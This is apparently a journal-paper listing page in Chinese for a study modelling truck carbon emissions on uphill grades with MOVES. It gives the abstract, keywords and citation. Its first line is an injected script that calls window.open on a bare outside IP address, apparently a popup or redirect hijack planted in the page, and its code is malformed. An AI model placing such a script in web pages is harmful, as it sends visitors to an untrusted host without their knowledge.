<script type="text/javascript"> window.open(http://115.239.238.45:8080/kycg/7595341.html); </script> 基于MOVES的上坡路段载重车碳排放规律研究

论文题目：	基于MOVES的上坡路段载重车碳排放规律研究
论文类别：	学术论文
单位及作者：	绍兴市交通投资集团有限公司孙振华
论文摘要：	摘要：二氧化碳是造成温室效应的主要气体，上坡路段显著影响载重货车的碳排放。为研究上坡路段对载重车碳排放的影响特性，本文基于汽车动力学模型，通过计算重量功率比为148kg/kW的载重车在不同坡度路段上坡行驶过程中的瞬时速度，作为MOVES模型的基础数据，预测得到10-90km/h共9档初速度和0-8%共9个纵坡组合条件下的碳排放量数据，采用SPSS分析了坡度和初速度对碳排量的影响，建立了以坡度和初速度为自变量的载重车碳排放模型，利用该模型得到了碳排放量等高线图。结果表明：载重车上坡过程中碳排量随坡度的增加而增大，随初速度的增加而减小；载重车爬坡初速度越大，碳排量对坡度的敏感性越低，低坡度条件下碳排量对初速度的敏感性比陡坡更低；环保型的公路纵坡设计建议采用高坡度和短坡长组合。研究成果可以直观地分析纵坡和初速度对载重车碳排放的影响，指导环保型道路建设。
关键词：	温室效应；上坡；动力学模型；碳排放模型；等高线图；敏感性；环保
正文：	基于MOVES的上坡路段载重车碳排放规律研究_孙振华.pdf
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发表刊物 (CN或ISSN号)：	《公路》（CN 11-1668/U，ISSN 0451-0712），2021年3期，328-336